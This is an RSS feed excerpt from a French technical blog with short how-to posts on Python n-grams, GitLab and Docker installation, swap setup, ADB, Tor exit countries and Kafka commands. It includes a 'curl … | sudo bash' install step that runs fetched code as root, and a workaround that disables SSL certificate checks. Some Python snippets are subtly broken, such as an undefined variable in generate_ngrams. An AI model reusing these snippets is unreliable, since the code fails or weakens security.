            <link>https://leandeep.com/nlp-2-mani%C3%A8res-de-g%C3%A9n%C3%A9rer-des-n-grams-en-python/</link>
            <pubDate>Tue, 03 Sep 2019 07:48:00 +0000</pubDate>
            
            <guid>https://leandeep.com/nlp-2-mani%C3%A8res-de-g%C3%A9n%C3%A9rer-des-n-grams-en-python/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans une phrase, les N-grams sont des séquences de N-mots adjacents. N peut être 1 ou 2 ou toute autre entier positif. En général N n&amp;rsquo;est pas très grand car ces N-grams apparaissent rarement plusieurs fois.&lt;/p&gt;
&lt;p&gt;On utilise ces N-grams en Machine Learning dans les sujets qui traitent du Natural Language Processing. Plus précisément, on les retrouve dans les sujets de classification de textes. On peut utiliser des bi-grams ou tri-grams comme &lt;em&gt;features&lt;/em&gt; pour représenter nos documents en plus d&amp;rsquo;utiliser des tokens individuels trouvés dans le corpus.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans une phrase, les N-grams sont des séquences de N-mots adjacents. N peut être 1 ou 2 ou toute autre entier positif. En général N n&rsquo;est pas très grand car ces N-grams apparaissent rarement plusieurs fois.</p>
<p>On utilise ces N-grams en Machine Learning dans les sujets qui traitent du Natural Language Processing. Plus précisément, on les retrouve dans les sujets de classification de textes. On peut utiliser des bi-grams ou tri-grams comme <em>features</em> pour représenter nos documents en plus d&rsquo;utiliser des tokens individuels trouvés dans le corpus.</p>
<p>Dans cet article, nous allons voir comment générer en Python des N-grams à partir de phrases en entrée.</p>
<br/>
<h2 id="n-grams-en-pur-python">N-grams en pur Python</h2>
<p>Partons de la phrase suivante et transformons la en N-grams:</p>
<pre tabindex="0"><code>s = &#34;On utilise ces N-grams en Machine Learning dans les sujets qui traitent du Natural Language &#34; \ 
    &#34;Processing et en particulier dans les sujets de classification de textes.&#34;
</code></pre><p>Si on transforme cette phrase en bi-grams on va obtenir l&rsquo;output suivant:</p>
<pre tabindex="0"><code>[
    &#34;On utilise&#34;,
    &#34;utilise ces&#34;,
    &#34;ces n&#34;,
    &#34;n grams&#34;,
    &#34;grams en&#34;,
	...
]
</code></pre><p>Pour obtenir le résultat précédent, on peut utiliser le code Python suivant:</p>
<pre tabindex="0"><code>import re

def generate_ngrams(s, n):
    # Convert to lowercases
    s = s.lower()
    
    # Replace all non-alphanumeric characters with spaces
    s = re.sub(r&#39;[^a-zA-Z0-9\s]&#39;, &#39; &#39;, s)
    
    # Break sentence in the token, remove empty tokens
    tokens = [token for token in s.split(&#34; &#34;) if token != &#34;&#34;]
    
    # Use the zip function to help us generate n-grams
    # Concatentate the tokens into ngrams and return
    ngrams = zip(*[token[i:] for i in range(n)])
    return [&#34; &#34;.join(ngram) for ngram in ngrams]
</code></pre><p>Si on applique la fonction suivante sur notre phrase d&rsquo;entrée avec N=4, on obtient le résultat suivant:</p>
<pre tabindex="0"><code>&gt;&gt;&gt; generate_ngrams(s, n=4)
[&#39;on utilise ces n&#39;, &#39;utilise ces n grams&#39;, &#39;ces n grams en&#39;, &#39;n grams en machine&#39;, &#39;grams en machine learning&#39;, &#39;en machine learning dans&#39;, &#39;machine learning dans les&#39;, &#39;learning dans les sujets&#39;, &#39;dans les sujets qui&#39;, &#39;les sujets qui traitent&#39;, &#39;sujets qui traitent du&#39;, &#39;qui traitent du natural&#39;, &#39;traitent du natural language&#39;, &#39;du natural language processing&#39;, &#39;natural language processing et&#39;, &#39;language processing et en&#39;, &#39;processing et en particulier&#39;, &#39;et en particulier dans&#39;, &#39;en particulier dans les&#39;, &#39;particulier dans les sujets&#39;, &#39;dans les sujets de&#39;, &#39;les sujets de classification&#39;, &#39;sujets de classification de&#39;, &#39;de classification de textes&#39;]
</code></pre><p>La fonction précédente utilise la fonction <code>zip</code> qui crée un <em>generator</em> qui aggrége les éléments de plusieurs listes.</p>
<p>Plus de détails dans la section de code commentée:</p>
<pre tabindex="0"><code># phrase d&#39;entrée
s = &#34;un deux trois quatre cinq&#34;

tokens = s.split(&#34; &#34;)
# tokens = [&#34;un&#34;, &#34;deux&#34;, &#34;trois&#34;, &#34;quatre&#34;, &#34;cinq&#34;]

sequences = [tokens[i:] for i in range(3)]
# Cette ligne génère des séquences depuis différents éléments de la liste tokens
range(x) définit combien de séquences on veut générer
#
# sequences = [
#   [&#39;un&#39;, &#39;deux&#39;, &#39;trois&#39;, &#39;quatre&#39;, &#39;cinq&#39;],
#   [&#39;deux&#39;, &#39;trois&#39;, &#39;quatre&#39;, &#39;cinq&#39;],
#   [&#39;trois&#39;, &#39;quatre&#39;, &#39;cinq&#39;]]

bigrams = zip(*sequences)
# La fonction zip prend les 3 séquences comme une liste d&#39;input grâce à l&#39;opérateur *. 
# Pour info, cette syntaxe revient au même que zip(sequences[0], sequences[1], sequences[2]).
# Chaquee tuple que cette fonction zip retourne contient un élément de chaque séquence.
# Comme il n&#39;y a que 3 éléments dans la dernières séquence, il n&#39;y a que 3 tuples retournés par la fonction zip
</code></pre><br/>
<h2 id="n-grams-avec-nltk">N-grams avec NLTK</h2>
<p>Au lieu d&rsquo;utiliser la méthode précédente pour générer des N-grams, on peut se simplifier la vie en utilisant la librairie <code>NLTK (Natural Language Toolkit)</code> spécialisée comme son nom l&rsquo;indique dans le NLP.</p>
<p>Avec le code suivant, on peut générer des N-grams, tout comme on l&rsquo;a fait avec la méthode <code>generate_ngrams()</code>.</p>
<pre tabindex="0"><code>import re
from nltk.util import ngrams

s = s.lower()
s = re.sub(r&#39;[^a-zA-Z0-9\s]&#39;, &#39; &#39;, s)
tokens = [token for token in s.split(&#34; &#34;) if token != &#34;&#34;]
output = list(ngrams(tokens, 5))
</code></pre><blockquote>
<p>Si vous rencontrez l&rsquo;erreur suivante avec NLTK <code>CERTIFICATE_VERIFY_FAILED] certificate verify failed:</code>, voici les commandes Python à exécuter comme workaround:</p></blockquote>
<pre tabindex="0"><code>import nltk
import ssl

try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    ssl._create_default_https_context = _create_unverified_https_context

# nltk.download(&#39;stopwords&#39;)
nltk.download(&#39;...&#39;)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer Gitlab CE avec un runner sur Centos 7 sur AWS</title>
            <link>https://leandeep.com/installer-gitlab-ce-avec-un-runner-sur-centos-7-sur-aws/</link>
            <pubDate>Mon, 02 Sep 2019 21:21:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-gitlab-ce-avec-un-runner-sur-centos-7-sur-aws/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment installer et configurer Gitlab CE pour construire des pipelines automatiques CICD.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-de-gitlab-ce&#34;&gt;Installation de Gitlab CE&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;yum update

yum -y install curl vim policycoreutils openssh-server openssh-clients postfix

# Vérifiez que Firewalld n&amp;#39;est pas démarré sans quoi il faudra le configurer ou le désactiver si vous utilisez les *security groups* d&amp;#39;AWS par exemple
systemctl status firewalld

# Vérifiez que les services sont bien démarrés
systemctl status sshd
systemctl status postfix

# Installer le repository pour Gitlab
curl -sS https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash

# Installer Gitlab
yum -y install gitlab-ce
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configuration-du-dns-en-https&#34;&gt;Configuration du DNS en HTTPS&lt;/h2&gt;
&lt;p&gt;Gitlab est maintenant installé. Pour configurer un DNS et du HTTPS, voici ce qu&amp;rsquo;il faut modifier dans le fichier &lt;code&gt;/etc/gitlab/gitlab.rb&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment installer et configurer Gitlab CE pour construire des pipelines automatiques CICD.</p>
<br/>
<h2 id="installation-de-gitlab-ce">Installation de Gitlab CE</h2>
<pre tabindex="0"><code>yum update

yum -y install curl vim policycoreutils openssh-server openssh-clients postfix

# Vérifiez que Firewalld n&#39;est pas démarré sans quoi il faudra le configurer ou le désactiver si vous utilisez les *security groups* d&#39;AWS par exemple
systemctl status firewalld

# Vérifiez que les services sont bien démarrés
systemctl status sshd
systemctl status postfix

# Installer le repository pour Gitlab
curl -sS https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash

# Installer Gitlab
yum -y install gitlab-ce
</code></pre><br/>
<h2 id="configuration-du-dns-en-https">Configuration du DNS en HTTPS</h2>
<p>Gitlab est maintenant installé. Pour configurer un DNS et du HTTPS, voici ce qu&rsquo;il faut modifier dans le fichier <code>/etc/gitlab/gitlab.rb</code>.</p>
<pre tabindex="0"><code>external_url &#39;https://gitlab.votre_domaine.com&#39;

letsencrypt[&#39;enable&#39;] = true
letsencrypt[&#39;contact_emails&#39;] = [&#39;votre_adresse_email@votre_domaine.com&#39;]
letsencrypt[&#39;auto_renew&#39;] = true
letsencrypt[&#39;auto_renew_hour&#39;] = 0
</code></pre><p>Une fois ce fichire modifié il faut reconfigurer Gitlab pour que les modifications soient prises en compte avec la commande <code>gitlab-ctl reconfigure</code>.</p>
<p>Rendez-vous à l&rsquo;adresse DNS que vous avez spécifié en HTTPS pour voir le Gitlab up and running.</p>
<p>Redémarrer la machine pour être certain que tout est bien installé et que Gitlab se lance bien au startup.</p>
<br/>
<h2 id="installation-du-ci">Installation du CI</h2>
<pre tabindex="0"><code>curl -L --output /usr/local/bin/gitlab-runner https://gitlab-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-runner-linux-amd64

useradd --comment &#39;GitLab Runner&#39; --create-home gitlab-runner --shell /bin/bash

gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner

/usr/local/bin/gitlab-runner register
# Suivez les instructions. Elles sont très simples
</code></pre><p>Et voilà. Vous avez maintenant un runner pour votre pipeline CICD.</p>
<p>Rendez-vous maintenant sur le DNS de votre Gitlab, commencez par renseigner un mot de passe superadmin et rendez-vous dans les settings pour voir le nouveau runner enregistré.</p>
<br/>
<h2 id="synchroniser-gitlab-avec-dautre-git-providers">Synchroniser Gitlab avec d&rsquo;autre Git providers</h2>
<p>J&rsquo;ai suivi la documentation de cet article et j&rsquo;ai pu brancher d&rsquo;autres Git provider (i.e Github ou Bitbucket) à mon Gitlab: <a href="https://docs.gitlab.com/ee/integration/bitbucket.html">https://docs.gitlab.com/ee/integration/bitbucket.html</a></p>
]]></content>
        </item>
        
        <item>
            <title>Installer Docker comme service sur Centos 7 ou Ubuntu 18.04</title>
            <link>https://leandeep.com/installer-docker-comme-service-sur-centos-7-ou-ubuntu-18.04/</link>
            <pubDate>Sat, 31 Aug 2019 12:34:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-docker-comme-service-sur-centos-7-ou-ubuntu-18.04/</guid>
            <description>&lt;p&gt;Voici une procédure simple pour installer et activer le service Docker sur Centos 7 ou Ubuntu 18.04.&lt;/p&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Centos 7&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Commencer par installer les pré-requis:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;yum install -y yum-utils device-mapper-persistent-data lvm2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Ajouter ensuite le repository Docker à yum:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Installer Docker:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;yum install -y docker-ce docker-ce-cli containerd.io
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Démarrer le service Docker&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;systemctl start docker
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Activer le service au démarrage du système:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;systemctl enable docker
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Ubuntu 18.04&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update
sudo apt install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository &amp;#34;deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable&amp;#34;
sudo apt update
apt-cache policy docker-ce
sudo apt install docker-ce
sudo systemctl status docker
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configuration-des-droits&#34;&gt;Configuration des droits&lt;/h2&gt;
&lt;p&gt;Pour éviter de devoir toujours ajouter &lt;code&gt;sudo&lt;/code&gt; devant vos commandes &lt;code&gt;docker&lt;/code&gt; on peut changer les droits et ajouter votre utilisateur linux au groupe docker.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici une procédure simple pour installer et activer le service Docker sur Centos 7 ou Ubuntu 18.04.</p>
<h2 id="installation">Installation</h2>
<p><strong>Centos 7</strong></p>
<p>Commencer par installer les pré-requis:</p>
<pre tabindex="0"><code>yum install -y yum-utils device-mapper-persistent-data lvm2
</code></pre><p>Ajouter ensuite le repository Docker à yum:</p>
<pre tabindex="0"><code>yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
</code></pre><p>Installer Docker:</p>
<pre tabindex="0"><code>yum install -y docker-ce docker-ce-cli containerd.io
</code></pre><p>Démarrer le service Docker</p>
<pre tabindex="0"><code>systemctl start docker
</code></pre><p>Activer le service au démarrage du système:</p>
<pre tabindex="0"><code>systemctl enable docker
</code></pre><br/>
<p><strong>Ubuntu 18.04</strong></p>
<pre tabindex="0"><code>sudo apt update
sudo apt install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository &#34;deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable&#34;
sudo apt update
apt-cache policy docker-ce
sudo apt install docker-ce
sudo systemctl status docker
</code></pre><br/>
<h2 id="configuration-des-droits">Configuration des droits</h2>
<p>Pour éviter de devoir toujours ajouter <code>sudo</code> devant vos commandes <code>docker</code> on peut changer les droits et ajouter votre utilisateur linux au groupe docker.</p>
<pre tabindex="0"><code>sudo usermod -aG docker $USER
</code></pre><p>Rechargez votre terminal pour que les droits soient pris en compte.</p>
<blockquote>
<p>Si vous rencontrez ce problème <code>dial unix /var/run/docker.sock: connect: permission denied</code>, vous avez un problème de droit sur la socket docker.</p></blockquote>
<blockquote>
<p>Voici le fix: <code>sudo chown root:docker /var/run/docker.sock</code></p></blockquote>
<br/>
<h2 id="installation-de-docker-compose">Installation de docker-compose</h2>
<p>Télécharger le binaire et le placer dans <code>/usr/local/bin</code>:</p>
<pre tabindex="0"><code>curl -L &#34;https://github.com/docker/compose/releases/download/1.23.1/docker-compose-$(uname -s)-$(uname -m)&#34; -o /usr/local/bin/docker-compose
</code></pre><p>On donne les droits d&rsquo;exécution:</p>
<pre tabindex="0"><code>  chmod +x /usr/local/bin/docker-compose
</code></pre><p>Vérification du bon fonctionnement:</p>
<pre tabindex="0"><code>docker-compose --version
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Créer et activer une partition swap sur Centos 7</title>
            <link>https://leandeep.com/cr%C3%A9er-et-activer-une-partition-swap-sur-centos-7/</link>
            <pubDate>Fri, 30 Aug 2019 14:36:36 +0000</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-et-activer-une-partition-swap-sur-centos-7/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment créer et activer une partition SWAP sur Centos 7 / Red Hat 7. Si vous avez oublié d&amp;rsquo;en créer une lors de l&amp;rsquo;installation d&amp;rsquo;une VM sur AWS par exemple vous pouvez suivre cette procédure.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo dd if=/dev/zero of=/swapfile count=4096 bs=1MiB
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Editer le fichier &lt;code&gt;/etc/fstab&lt;/code&gt; et ajouter la ligne suivante pour que la partition soit montée de manière persistente.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment créer et activer une partition SWAP sur Centos 7 / Red Hat 7. Si vous avez oublié d&rsquo;en créer une lors de l&rsquo;installation d&rsquo;une VM sur AWS par exemple vous pouvez suivre cette procédure.</p>
<pre tabindex="0"><code>sudo dd if=/dev/zero of=/swapfile count=4096 bs=1MiB
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
</code></pre><br/>
<p>Editer le fichier <code>/etc/fstab</code> et ajouter la ligne suivante pour que la partition soit montée de manière persistente.</p>
<pre tabindex="0"><code>/swapfile   swap    swap    sw  0   0
</code></pre><br/>
<p>Puis exécutez la commande suivante:</p>
<pre tabindex="0"><code>sudo sysctl vm.swappiness=10
</code></pre><br/>
<p>Enfin éditez le fichier suivant <code>/etc/sysctl.conf</code> et ajoutez les lignes qui suivent:</p>
<pre tabindex="0"><code>vm.swappiness = 10
vm.vfs_cache_pressure = 50
</code></pre><br/>
<p>Pour vérifier la taille du swap vous pouvez utiliser les commandes qui suivent:</p>
<pre tabindex="0"><code>swapon --summary
free -h
</code></pre><br/>
<p>Redémarrez votre machine pour vérifier que la machine est bien opérationnelle et que la partition swap est bien toujours présente et active.</p>
]]></content>
        </item>
        
        <item>
            <title>Activer le mode avion sur Android via le terminal</title>
            <link>https://leandeep.com/activer-le-mode-avion-sur-android-via-le-terminal/</link>
            <pubDate>Sun, 25 Aug 2019 14:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/activer-le-mode-avion-sur-android-via-le-terminal/</guid>
            <description>&lt;p&gt;Cet article très court décrit comment activer le mode avion sur un Smartphone Android via &lt;code&gt;ADB (Android Debug Bridge)&lt;/code&gt;. Pour ceux qui ne connaissent pas ADB, &lt;a href=&#34;https://developer.android.com/studio/command-line/adb&#34;&gt;voici un lien vers le site officiel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Avec les commandes suivantes on peut activer ou désactiver le mode avion:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Activer le mode avion
adb shell settings put global airplane_mode_on 1

# Désactiver le mode avion
adb shell settings put global airplane_mode_on 0
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Si vous avez besoin de broadcaster un intent aux applications du téléphone, c&amp;rsquo;est possible via la commande &lt;code&gt;adb shell am broadcast -a android.intent.action.AIRPLANE_MODE&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Cet article très court décrit comment activer le mode avion sur un Smartphone Android via <code>ADB (Android Debug Bridge)</code>. Pour ceux qui ne connaissent pas ADB, <a href="https://developer.android.com/studio/command-line/adb">voici un lien vers le site officiel</a>.</p>
<p>Avec les commandes suivantes on peut activer ou désactiver le mode avion:</p>
<pre tabindex="0"><code># Activer le mode avion
adb shell settings put global airplane_mode_on 1

# Désactiver le mode avion
adb shell settings put global airplane_mode_on 0
</code></pre><blockquote>
<p>Si vous avez besoin de broadcaster un intent aux applications du téléphone, c&rsquo;est possible via la commande <code>adb shell am broadcast -a android.intent.action.AIRPLANE_MODE</code>.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Sortir dans un pays particulier avec Tor </title>
            <link>https://leandeep.com/sortir-dans-un-pays-particulier-avec-tor/</link>
            <pubDate>Sat, 24 Aug 2019 20:38:00 +0000</pubDate>
            
            <guid>https://leandeep.com/sortir-dans-un-pays-particulier-avec-tor/</guid>
            <description>&lt;p&gt;Si vous avez besoin de sortir dans un pays particulier avec Tor c&amp;rsquo;est faisable facile. Voici la procédure pour OSX.&lt;/p&gt;
&lt;p&gt;Pour ce faire, éditez le fichier &lt;code&gt;~/Library/Application\ Support/TorBrowser-Data/Tor/torrc&lt;/code&gt; et ajoutez la ligne suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ExitNodes {us} StrictNodes 1

# StrictNodes 0 est plus permissif
# Il est possible d&amp;#39;avoir plusieurs pays {us},{fr}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Dans l&amp;rsquo;exemple précédent, on sort aux US mais il est possible de sortir ailleurs. Il suffit de changer le code pays. &lt;a href=&#34;https://web.archive.org/web/20180328074444/http://www.b3rn3d.com/blog/2014/03/05/tor-country-codes/&#34;&gt;https://web.archive.org/web/20180328074444/http://www.b3rn3d.com/blog/2014/03/05/tor-country-codes/&lt;/a&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Si vous avez besoin de sortir dans un pays particulier avec Tor c&rsquo;est faisable facile. Voici la procédure pour OSX.</p>
<p>Pour ce faire, éditez le fichier <code>~/Library/Application\ Support/TorBrowser-Data/Tor/torrc</code> et ajoutez la ligne suivante:</p>
<pre tabindex="0"><code>ExitNodes {us} StrictNodes 1

# StrictNodes 0 est plus permissif
# Il est possible d&#39;avoir plusieurs pays {us},{fr}
</code></pre><p>Dans l&rsquo;exemple précédent, on sort aux US mais il est possible de sortir ailleurs. Il suffit de changer le code pays. <a href="https://web.archive.org/web/20180328074444/http://www.b3rn3d.com/blog/2014/03/05/tor-country-codes/">https://web.archive.org/web/20180328074444/http://www.b3rn3d.com/blog/2014/03/05/tor-country-codes/</a></p>
<p>Vous pouvez vérifier si cela a bien fonctionné en vous rendant sur ce site: <a href="https://www.where-am-i.co/my-ip-location">https://www.where-am-i.co/my-ip-location</a></p>
]]></content>
        </item>
        
        <item>
            <title>Commandes utiles Kafka</title>
            <link>https://leandeep.com/commandes-utiles-kafka/</link>
            <pubDate>Sun, 18 Aug 2019 17:53:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-utiles-kafka/</guid>
            <description>&lt;p&gt;Voici une liste de commandes utiles pour utiliser Kafka.
Il y a pas mal de jargon dans Kafka, je vous renvoie &lt;a href=&#34;https://blog.univalence.io/kafka-et-les-groupes-de-consommateurs/&#34;&gt;à l&amp;rsquo;article suivant&lt;/a&gt; qui explique pas mal de choses.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Lister les groupes de consommateurs (Consumer Groups):&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker run wurstmeister/kafka /opt/kafka/bin/kafka-consumer-groups.sh --bootstrap-server kafka:9092 --list
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Décrire/ Obtenir des informations sur un Consumer Group:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker run wurstmeister/kafka /opt/kafka/bin/kafka-consumer-groups.sh --bootstrap-server kafka:9092 --group id1 --describe
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Créer un topic:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker exec -it wurstmeister/kafka sh -c &amp;#34;JMX_PORT=10001 /opt/kafka/bin/kafka-topics.sh --create --topic topic --replication-factor 1 --partitions 1 --zookeeper zookeeper:2181&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Envoyer des messages:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici une liste de commandes utiles pour utiliser Kafka.
Il y a pas mal de jargon dans Kafka, je vous renvoie <a href="https://blog.univalence.io/kafka-et-les-groupes-de-consommateurs/">à l&rsquo;article suivant</a> qui explique pas mal de choses.</p>
<br/>
<p>Lister les groupes de consommateurs (Consumer Groups):</p>
<pre tabindex="0"><code>docker run wurstmeister/kafka /opt/kafka/bin/kafka-consumer-groups.sh --bootstrap-server kafka:9092 --list
</code></pre><p>Décrire/ Obtenir des informations sur un Consumer Group:</p>
<pre tabindex="0"><code>docker run wurstmeister/kafka /opt/kafka/bin/kafka-consumer-groups.sh --bootstrap-server kafka:9092 --group id1 --describe
</code></pre><p>Créer un topic:</p>
<pre tabindex="0"><code>docker exec -it wurstmeister/kafka sh -c &#34;JMX_PORT=10001 /opt/kafka/bin/kafka-topics.sh --create --topic topic --replication-factor 1 --partitions 1 --zookeeper zookeeper:2181&#34;
</code></pre><p>Envoyer des messages:</p>
<pre tabindex="0"><code>docker exec -it wurstmeister/kafka sh -c &#34;JMX_PORT=10001 /opt/kafka/bin/kafka-verifiable-producer.sh --topic topic --max-messages 200000 --broker-list localhost:9092&#34;
</code></pre><p>Consumer en mode console:</p>
<pre tabindex="0"><code>docker exec -it wurstmeister/kafka sh -c &#34;JMX_PORT=10001 /opt/kafka/bin/kafka-console-consumer.sh --topic topic --bootstrap-server host:9092&#34;

docker run -it wurstmeister/kafka -c &#34;JMX_PORT=10001 /opt/kafka/bin/kafka-console-consumer.sh --topic topic --bootstrap-server host:9092&#34;

docker run --entrypoint=/opt/kafka/bin/kafka-console-consumer.sh wurstmeister/kafka --topic topic --bootstrap-server host:9092
</code></pre><p>Consumer en Python:</p>
<pre tabindex="0"><code>#!/usr/bin/env python
from kafka import KafkaConsumer
consumer = KafkaConsumer(bootstrap_servers=&#39;kafka1:9092&#39;,
                         group_id=None,
                         auto_offset_reset=&#39;earliest&#39;)

consumer.subscribe([&#39;logs-app1&#39;])
for msg in consumer:
    print(msg)
</code></pre><p>Consumer Kafkacat:</p>
<pre tabindex="0"><code>docker run -it confluentinc/cp-kafkacat kafkacat -b host:9092 -t topic -o beginning -v
</code></pre><p>Mettre de la rétention sur certains topics:</p>
<pre tabindex="0"><code>docker exec -it kafka /opt/kafka/bin/kafka-configs.sh --zookeeper host:2181 --entity-type topics --entity-name topic --describe

docker exec -it kafka /opt/kafka/bin/kafka-topics.sh --zookeeper host:2181 --topic topic --describe

docker exec -it kafka /opt/kafka/bin/kafka-topics.sh --zookeeper host:2181 --topic topic --alter --config retention.ms=1000
</code></pre><p><a href="https://medium.com/walmartlabs/rendezvous-with-kafka-a-simple-guide-to-get-started-48db3b921cc">L&rsquo;article suivant</a> parle des partitions et des offsets:</p>
<blockquote>
<p>In short:
When you commit an offset, it means that you read all the previous messages. So committing 7 means that next you won&rsquo;t read 6 and 5 but the new incoming message 8 sent by the producer.</p></blockquote>
<p>Offset au début:</p>
<pre tabindex="0"><code>docker run wurstmeister/kafka /opt/kafka/bin/kafka-consumer-groups.sh --bootstrap-server kafka:9092 --topic topic --group id1 --reset-offsets --to-earliest --execute
</code></pre><p>Offset à la fin:</p>
<pre tabindex="0"><code>docker run wurstmeister/kafka /opt/kafka/bin/kafka-consumer-groups.sh --bootstrap-server kafka:9092 --topic topic --group id1 --reset-offsets --to-latest --execute
</code></pre><p>Offset à un moment précis:</p>
<pre tabindex="0"><code>docker run wurstmeister/kafka /opt/kafka/bin/kafka-consumer-groups.sh --bootstrap-server kafka:9092 --topic topic --group id1 --reset-offsets --to-datetime &#34;2017-12-22T00:00:00.000&#34; --execute
</code></pre><p>Offset à un moment précis pour les partitions 0, 1 (même datetime pour les 2 partitions)</p>
<pre tabindex="0"><code>docker run wurstmeister/kafka /opt/kafka/bin/kafka-consumer-groups.sh --bootstrap-server kafka:9092 --topic topic:0,1 --group id1 --reset-offsets --to-datetime &#34;2017-12-22T00:00:00.000&#34; --execute
</code></pre><p>Offset à un moment précis pour les partitions 0, 1 (datetimes différents):</p>
<pre tabindex="0"><code>docker run dddpaul/kafka-rewind --servers=kafka:9092 --group-id=id1 --topic=topic -o 0=2017-12-01 -o 1=2018-01-01
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Serverless sur AWS avec SAM</title>
            <link>https://leandeep.com/serverless-sur-aws-avec-sam/</link>
            <pubDate>Sat, 17 Aug 2019 16:51:00 +0000</pubDate>
            
            <guid>https://leandeep.com/serverless-sur-aws-avec-sam/</guid>
            <description>&lt;p&gt;Si comme moi vous voulez installer AWS SAM pour développer et tester en local vos applications serverless voici la procédure à suivre:&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;prérequis&#34;&gt;Prérequis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;AWS Cli&lt;/li&gt;
&lt;li&gt;AWS Cli configuré&lt;/li&gt;
&lt;li&gt;Docker (dois-je le préciser ?)&lt;/li&gt;
&lt;li&gt;Python 3&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;Créer un bucket S3:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;aws s3 mb s3://votre-sam-bucket --region eu-west-1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Installer AWS SAM Cli:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AWS recommande l&amp;rsquo;utilisation de Homebrew pour l&amp;rsquo;installation de SAM mais je préfère utiliser pip pour ne pas être contraint à passer de Python 3.6 à 3.7.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Si comme moi vous voulez installer AWS SAM pour développer et tester en local vos applications serverless voici la procédure à suivre:</p>
<br/>
<h2 id="prérequis">Prérequis</h2>
<ul>
<li>AWS Cli</li>
<li>AWS Cli configuré</li>
<li>Docker (dois-je le préciser ?)</li>
<li>Python 3</li>
</ul>
<br/>
<h2 id="installation">Installation</h2>
<p>Créer un bucket S3:</p>
